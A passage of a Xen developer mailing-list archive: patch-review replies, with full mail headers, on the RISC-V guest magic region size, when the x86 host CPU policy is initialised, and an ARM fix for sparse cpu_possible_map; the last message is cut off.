 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <c7aff2d8-14a7-4921-93d4-67228d871074@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1782974498-7E53825E-D7ACE335/0/0
X-purgate-type: clean
X-purgate-size: 2412

On 01.07.2026 17:24, Oleksii Kurochko wrote:
> On 6/30/26 9:28 AM, Jan Beulich wrote:
>> On 26.06.2026 17:46, Oleksii Kurochko wrote:
>>> --- a/xen/arch/riscv/include/asm/guest-layout.h
>>> +++ b/xen/arch/riscv/include/asm/guest-layout.h
>>> @@ -32,4 +32,16 @@
>>>   #define GUEST_RAM_BANK_BASES   { GUEST_RAM0_BASE, GUEST_RAM1_BASE }
>>>   #define GUEST_RAM_BANK_SIZES   { GUEST_RAM0_SIZE, GUEST_RAM1_SIZE }
>>>   
>>> +/*
>>> + * The guest magic region holds Xen-reserved pages mapped into the guest's
>>> + * physical address space (shared info, grant table, etc.). The only real
>>> + * constraint is that the GUEST_MAGIC_SIZE-byte region must not overlap
>>> + * guest RAM (the GUEST_RAMx banks) or the emulated device regions defined
>>> + * above; the exact base is otherwise arbitrary. Here it is placed in the
>>> + * unused gap below GUEST_RAM0_BASE (0x80000000), but a hole after a RAM
>>> + * bank would work equally well.
>>> + */
>>> +#define GUEST_MAGIC_BASE  _UL(0x79000000)
>>> +#define GUEST_MAGIC_SIZE  _UL(0x01000000)
>>
>> ... while 16Mb may seem a lot, it feels pretty little for 64-bit guests.
>> Even in just Sv39 mode they have ample VA space to map a bigger region.
>> (As iirc indicated before, a static upper bound looks questionable to me
>> anyway.)
> 
> I think the comment should be updated as for grants will be separate region.
> 
> For all others, it looks like 16MB is more then enough. For example, Arm 
> has only 4 used pages (CONSOLE=0, XENSTORE=1, MEMACCESS=2, VUART=3).

Then the question goes the other way around: Why 16Mb? Won't e.g. 2Mb
suffice?

> So will you be okay with reworking of the comment to:
> /*
>   * The guest magic region holds the Xen-reserved pages mapped into the
>   * guest's physical address space. The only real constraint on
>   * GUEST_MAGIC_BASE/SIZE is that the region must not overlap guest RAM
>   * (the GUEST_RAMx banks) or the emulated device regions defined above;
>   * the exact base is otherwise arbitrary. Here it is placed in the 
> unused gap
>   * below GUEST_RAM0_BASE (0x80000000), but a hole after a RAM bank 
> would work
>   * equally well.
>   */
> 
> And add to the commit message that:
> ```
> A separate region for grant tables will be introduced at the same time 
> as the introduction of the grant table for RISC-V.
> ```

That's quite a bit better, yes.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 07:07:14 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 07:07:14 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351276.1608495 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfBVh-0007d1-MV; Thu, 02 Jul 2026 07:06:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351276.1608495; Thu, 02 Jul 2026 07:06:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfBVh-0007cu-Iw; Thu, 02 Jul 2026 07:06:57 +0000
Received: by outflank-mailman (input) for mailman id 1351276;
 Thu, 02 Jul 2026 07:06:55 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfBVf-0007cn-DG
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 07:06:55 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfBVe-004g8K-5Z
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 09:06:54 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a460dff-2eae-0a2a0a5409dd-0a2a450ad4fc-26
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 09:06:54 +0200
Received: from [209.85.221.45] (helo=mail-wr1-f45.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a460e0d-e40e-0a2a450a0019-d155dd2dc8dd-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 09:06:54 +0200
Received: by mail-wr1-f45.google.com with SMTP id
 ffacd0b85a97d-475417f010dso933938f8f.2
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 00:06:53 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477de3dcf59sm6614748f8f.34.2026.07.02.00.06.52
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 00:06:53 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782976013; x=1783580813; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=JIa3ZtQnmr5bzh3sgHLJgVuJFtyf3ipj2ua5AIkulis=;
        b=AKbG5dqwVnWcVDI3EixT0QRt2O1aPtA6Pe+lnUKP3vBUJrlCV/ocv7EX52XZesdOOg
         fPTy75ha7wTL+15c8wHOCmzwFkdDd49s1RZwzTE+jyjfb9nodFJu9507yQ3WKVwyWYiV
         TeiWMGoskf2W1jdAbQSiZNO/Jwzm1z/ufIgPoBEbgyDZBwMj+uNxDmUbuZrN4Ho5TbJj
         4J7jBPd24FhMjf7jKD6OgoNSUW6PBdxb5lHY3qshpiNejhrIvYYR4fVMuiKpE3v4wWkR
         6zGcU8n3CtvYH1VoWAMyfqpKP81NlUbKRLolEFflXAW69Hx4377zO4Hp2aH3SfNO8E7k
         yWcw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782976013; x=1783580813;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=JIa3ZtQnmr5bzh3sgHLJgVuJFtyf3ipj2ua5AIkulis=;
        b=Q2BUAaJMRIf93wqA0JWeko4AGwW9Jw6BXaVXwlPRGKT9hgtL6SsgSgpvXkt1ToAvza
         KXoLUYknYlmJbwALi3Pv4/zK7saA/4kPVRZdi+eXE+57VO1j8LEYpQSQd9xYxw7om/z9
         ATdRK+2t56o0k61KiiRwZQz5SzeDX6/utNEGFAgRSeYzMTjkUzfHJtXlczZJGYylOBNt
         7Dj+hOgmw00eS8DvuH/6pNHffEWfKm/96xNEu2Kt8ziWC8AU1drE3U8FvJcr0PEqp4AQ
         vQMj9NT80gvvTo6tgCFVe+PS4io08t14wdYt3Am0kvjmWCiMbQcD1Nki9+ZziCYTu7X6
         Q8hQ==
X-Forwarded-Encrypted: i=1; AHgh+RpX9dg+O0wWbGJfKZ8qaMX+5oIdrO4NYczMLQCHNW3WvSsiRJKxeeM5sYiHjI/z222yfNQE2SN60B4=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzA9Ivum01bbRGBS9+OA3a9f1XrmSYe9Ayacrn8BGUdqC7LIwBJ
	5toHpJ/H5sRwcZHGTEregS97gJfV10FPVBpoT/m56YugWPQc47Y4TPwOvOEVK9pFAw==
X-Gm-Gg: AfdE7ckAyn7YqKhg1AtZjPBk8RtqHz/HgAed6A6OEhw2cKkpufwJFRtVei9YjtYoBJh
	XX6i9b0rAA/64zR0hb6l5bJYLhbuoN/XC0Lat/U1+oieOjloU/iH1zZ345PBTcBmVJU3prsVSd4
	QBX8JXnfxxd/vKrUYAlwCcqlwlmDEoZrAyBvld3W0P3GqbQWUYe/Cp9LR1Oejy4KjG3NAFdUqaC
	xYmvrKgqE4U1V/l7VORo6Od8YOitR6ZjmARqrz5kD03pfcCHIRBu9Ew15DNDc6lrtc+cfiVp2XP
	EZeel7Jmw5Zo96Tip4qs6uHMsX/TtlsO8U6RZD9AgEK6gZOAedGbio2C7ZcKnKpBf1gxjwNDidx
	VdRHntKma3b/W3vRa7Am7LxURQ8Xnk8vS4M10Mi3F5VGfq6oyUcKlQ63MCS1BZIF1EEu0h+qj2I
	bYADvCytaPuTQfF4nYeMVkw91EL2S55XfQb0ZlJs2EqMtH1xzK9SdH9SvKTB7NSPpObkMEPMBsW
	dV4bjF+HvFvZUg=
X-Received: by 2002:a05:6000:4687:b0:474:6a5b:861d with SMTP id ffacd0b85a97d-47759568499mr5060699f8f.45.1782976013421;
        Thu, 02 Jul 2026 00:06:53 -0700 (PDT)
Message-ID: <2a524220-72a8-422d-8571-f5111b090c1d@suse.com>
Date: Thu, 2 Jul 2026 09:06:52 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] x86/cpu-policy: set up host policy earlier
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Marek Marczykowski <marmarek@invisiblethingslab.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <6dccae5f-fe09-4f35-9e4a-7a38fb21e8d1@suse.com>
 <53018bb5-0ad4-449e-adda-6b2d94a0935e@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <53018bb5-0ad4-449e-adda-6b2d94a0935e@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1782976014-3C07ADDE-7DF6AF92/0/0
X-purgate-type: clean
X-purgate-size: 3113

On 01.07.2026 17:21, Andrew Cooper wrote:
> On 07/04/2026 7:46 am, Jan Beulich wrote:
>> --- a/xen/arch/x86/cpu/common.c
>> +++ b/xen/arch/x86/cpu/common.c
>> @@ -586,6 +586,8 @@ void identify_cpu(struct cpuinfo_x86 *c)
>>  	}
>>  
>>  	/* Now the feature flags better reflect actual CPU features! */
>> +	if (c == &boot_cpu_data)
>> +		calculate_host_policy();
> 
> calculate_host_cpu_policy() now it's not local to cpu-policy.c

Sure.

>> --- a/xen/arch/x86/cpu-policy.c
>> +++ b/xen/arch/x86/cpu-policy.c
>> @@ -359,7 +359,7 @@ void calculate_raw_cpu_policy(void)
>>      /* Was already added by probe_cpuid_faulting() */
>>  }
>>  
>> -static void __init calculate_host_policy(void)
>> +void __init calculate_host_policy(void)
>>  {
>>      struct cpu_policy *p = &host_cpu_policy;
>>      unsigned int max_extd_leaf;
>> @@ -904,6 +904,7 @@ static void __init calculate_hvm_def_pol
>>  
>>  void __init init_guest_cpu_policies(void)
>>  {
>> +    /* Do this a 2nd time to account for setup_{clear,force}_cpu_cap() uses. */
>>      calculate_host_policy();
> 
> I'm sorry, but no.Â  The cleanup work to CPUID handling is in an attempt
> to purge this antipattern.

And it's not meant to stay here, once that cleanup work has further
progressed. We did discuss this on one of the recent calls. I'm happy
to ...

> Double-initialising data structures *is* the entire reason we have
> order-of-boot problems in the first place.Â  Having a structure which is
> initialised but wrong is itself wrong.

... go further, just that I don't think what you suggest below will
work.

> Really, I should insist on a revert of switching cpu_has_* to use
> host_policy.Â  It was not adequately tested and is not compatible with
> how Xen starts up.

You realize that there was no "switching cpu_has_* to use host_policy"?
There's no representation of leaf 6 in x86_capabilities[], and it
seemed awkward to introduce it when we're really moving to using the
policies.

> But as I expect you're going to object to that feedback, I'll tolerate
> setup_*_cpu_cap() keeping the host policy correct as they're called.Â 
> The easy option is to call x86_cpu_featureset_to_policy() each time.Â 

Except that this isn't going to be enough. It may not need to be all
of what calculate_host_policy() currently does, but at the very least
recalculate_xstate() will imo need calling. Yet any cpu_has_* used
there and changing value would also have a knock-on effect. Overall it
then looks less error prone to me to call calculate_host_cpu_policy()
from there (then very obviously eliminating the need for the call from
init_guest_cpu_policies()), accepting the slight extra overhead.

> The lower overhead option would be to have a table similar to
> cpu_user_regs_gpr_offsets[] and use that to locate the feature word in a
> policy object as it's being edited, although it's yet another thing to
> remember to keep in sync when adding new words.

As per above multiple feature words may be affected by a single change.
Hence I think this isn't an option.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 07:13:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 07:13:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351288.1608502 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfBbl-0001PU-Bc; Thu, 02 Jul 2026 07:13:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351288.1608502; Thu, 02 Jul 2026 07:13:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfBbl-0001PN-8Z; Thu, 02 Jul 2026 07:13:13 +0000
Received: by outflank-mailman (input) for mailman id 1351288;
 Thu, 02 Jul 2026 07:13:12 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1wfBbj-0001OC-Of
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 07:13:12 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfBbj-006neM-5H
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 09:13:11 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a460f67-bab6-0a2a0a5309dd-0a2a4504924e-42
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 09:13:10 +0200
Received: from [40.93.194.25]
 (helo=SN4PR0501CU005.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a460f85-a01d-0a2a45040019-285dc2192b28-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 09:13:10 +0200
Received: from SJ0PR05CA0114.namprd05.prod.outlook.com (2603:10b6:a03:334::29)
 by SA3PR12MB9091.namprd12.prod.outlook.com (2603:10b6:806:395::10)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.9; Thu, 2 Jul 2026
 07:13:06 +0000
Received: from CO1PEPF00012E81.namprd03.prod.outlook.com
 (2603:10b6:a03:334:cafe::3b) by SJ0PR05CA0114.outlook.office365.com
 (2603:10b6:a03:334::29) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.181.8 via Frontend Transport; Thu, 2
 Jul 2026 07:13:05 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 CO1PEPF00012E81.mail.protection.outlook.com (10.167.249.56) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Thu, 2 Jul 2026 07:13:05 +0000
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Thu, 2 Jul
 2026 02:13:04 -0500
Received: from [10.252.145.116] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Thu, 2 Jul 2026 02:13:04 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=hMoAy8u7BjAKeSDM3ibSBizL1Bb7b2FjZR6fh/YnBM9R+t4d9fQM4/0jSxbpaHnaf5gZBfR9knA2sapJUCQweowgCzP0Wc5IcSEwEby+7KTO0ybhcgbsh3S+aVYnzqdFVeiNy6s+5qIbVPMMAbofQBImCxFZqHk4Rs2uTWHDsEd8CyB992BhwJ41OEuZFVWn6XpC75EmvLjaLSiJdnUl5LiCeHJZobhmYyrdgnvHC5dJ0Bi55EzO/Gv77qTzWoU4PU/CSOFQd7Ls4eC23lE8GOOz4JpDOetrgqQ+XG82QNulNLCBSJm36cLkuGum2Ta0NIfUyHMUNpa29sd/EraHMQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=yj42o5dQa5WI3bb6qW20n8gTFcCUFB1Aw2r8frAqhX8=;
 b=rprn7nqeCfTgl/hqJ2Ukj+3lpEFbTQwyCAPjGcbZn6lzszcVMLIOWyb8vrWt+4EaA2V2i8Kyamt2gcTCbY90zU7uEZ+elPseUXCY31eDrbamsCpF7SCD34TmAMA4qJHAUk8tSJUAYI2m1yRt2CdpwPi0iQQZSc5HVBwVPyNtAYdjqoxxEEdO53UmtdVrG9S0OzaZkAIU+IkUNudHAcuyAz/x9D5uQK58eH81Leiwg8J3dyfE8Wma7GyUmnKZ4ILiTbIhQSjKHMIzvyJ+/sxNaVp0nJ/kBX4qGScxpF7P+3OcJebXzkKQNFToTwngtbLqgB65Pq+6rzcBNUw1rIgM+A==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=valinux.co.jp smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=yj42o5dQa5WI3bb6qW20n8gTFcCUFB1Aw2r8frAqhX8=;
 b=pG59x/5WD4xpb6iaeN2foDt9SlSeCuc4nwJnPGye17BJ8M20QeL+8fCPw8Lo604dFiEfK8GCiAxhnlYRpd98tpHgXwkY8tYaijKQy8Ty8dHjQCT0OvYSOKtfY02i5AwzMQCUqwwZaM49Gj41vhLW7VfqYMnlwL35ICHcIEYo6Cs=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
Message-ID: <57a8d88e-c5ee-44cc-9832-c1e766fecaa7@amd.com>
Date: Thu, 2 Jul 2026 09:13:03 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 1/1] xen/arm: fix sparse cpu_possible_map calculation
 on SMP boot
To: Hirokazu Takahashi <taka@valinux.co.jp>, <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>
References: <20260701224057.46592-1-taka@valinux.co.jp>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <20260701224057.46592-1-taka@valinux.co.jp>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CO1PEPF00012E81:EE_|SA3PR12MB9091:EE_
X-MS-Office365-Filtering-Correlation-Id: 87f84350-f12b-4838-ae60-08ded8095ce2
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|82310400026|376014|1800799024|36860700016|18002099003|22082099003|11063799006|56012099006|6133799003;
X-Microsoft-Antispam-Message-Info:
	J/tc7cryDSu0SensP+cmf7Dvv1H6y46AyRxnu9nnK4HXVS3p9bWvltm1iGfjg/Sc3TQsAxruZv7trfeUMxFEsv0xyVLGIAGEcc296zEVlWgyA4ErDik+43aApruCNVEjTQyo80woG5Kl2pYQ69INq/3ypJkbh44TPpXw7eVIaQPb77k1d8MAskvFUwoOMlN13NkpgS08tXucOiRyNwPFemzX2zBw/q7ftA8cMwYQOQclgsAUHezrsoO7SEmZGWFLbiwe2KhFqZt3QqGWaRsWO06gPRUyHAUaauHIreZEc8p5yEz3pCs2yh5Cc8WW28mob4l8zUk7DldNAmSMtRJMvHj+L/i5DAnHvOn2riu7u33nsKm8/pPsp/IJLeqhj59nJeZG4eNsNajF/2he7u23P2jZsLaoD2hrrMGfy3jwrvBRPhR/JUmq40JKb/4s1H641Hs+QXnI51S9AMeXqMmTHPpIDU4BlJniSJ8APu3qGHBq3nDHOMF4ng22Vh77BJRXs9W8a7OdXguNwQVZe02T+a9M7BArW9MaM+eokHR8WxZKuLbud8SYN/XJwfrTTivP1ydl6gDJLuiZ4JtOLb+hrSnWkPZHQbPkxb+C4j8x8rhFcFRbrPIJPciH0SfI7x34xTTffJM9L0ssr+KlTaEIvM4k8BCvs/PzQsI4J0C48d9oMUHfLNuM333h84TTfc1Nst2WVaAwLHmJhzZDhwckHQ==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(23010399003)(82310400026)(376014)(1800799024)(36860700016)(18002099003)(22082099003)(11063799006)(56012099006)(6133799003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	R5IgeScsl9Q+STCKzwgovCPLU6OmxqaVg1fwT/VhwSWvBZbMIUfcHJuVdjNf7lPWm/VnkAlcdtSbJ6kTwzsMs1qqzvhUhTaXC5aRqftYV+hdqn8rKhIeZGbwH0Vr2EvsKLlw/VDuEAM1aEOPkHrILPIROnu7oE56DkBIksC7p72aSmGkvbbDYIxXZPU/YDRrSsILqqtccDOh9tQbw9yGzbq+80OnFDGLJXu95Ihp9Ltl9smMLnAL9wEdtKDXyNT5/siOkene3dqZ/IoKj5ltJQcO9OOVaX+fRcIzgE8a1B4y0t7hPqbUJjG4RFk1veetDGjIzvq/vvKAHJJjA4SUgjI8+Dbkg6hQfaNK2M2oug9ku8PgDVvquQOiCvXmWVfdBk1kd1mj0f1wmpyHUzkvnoGY3EXm0NHaCRUC4pM7R7QLxXdoKfRwAkr+mf5aN6sx
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 02 Jul 2026 07:13:05.6523
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 87f84350-f12b-4838-ae60-08ded8095ce2
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CO1PEPF00012E81.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SA3PR12MB9091
X-purgate-ID: tlsNG-ebf023/1782976390-AC93A1CC-A099F199/0/0
X-purgate-type: clean
X-purgate-size: 945



On 02-Jul-26 00:40, Hirokazu Takahashi wrote:
> Currently, during ARM Xen's SMP initialization, if there is
> a Device Tree error (such as an invalid 'enable-method'),
> cpu_possible_map can end up being sparse.
> 
> The issue here is that nr_cpu_ids is calculated in a way that
> doesn't properly account for the maximum CPU ID when the map is
> sparse, causing a mismatch. For example, if cpu_possible_map is
> 0xff0f, nr_cpu_ids becomes 12, but the actual maximum CPU ID
> is 15. Xen's common code is built on the assumption that
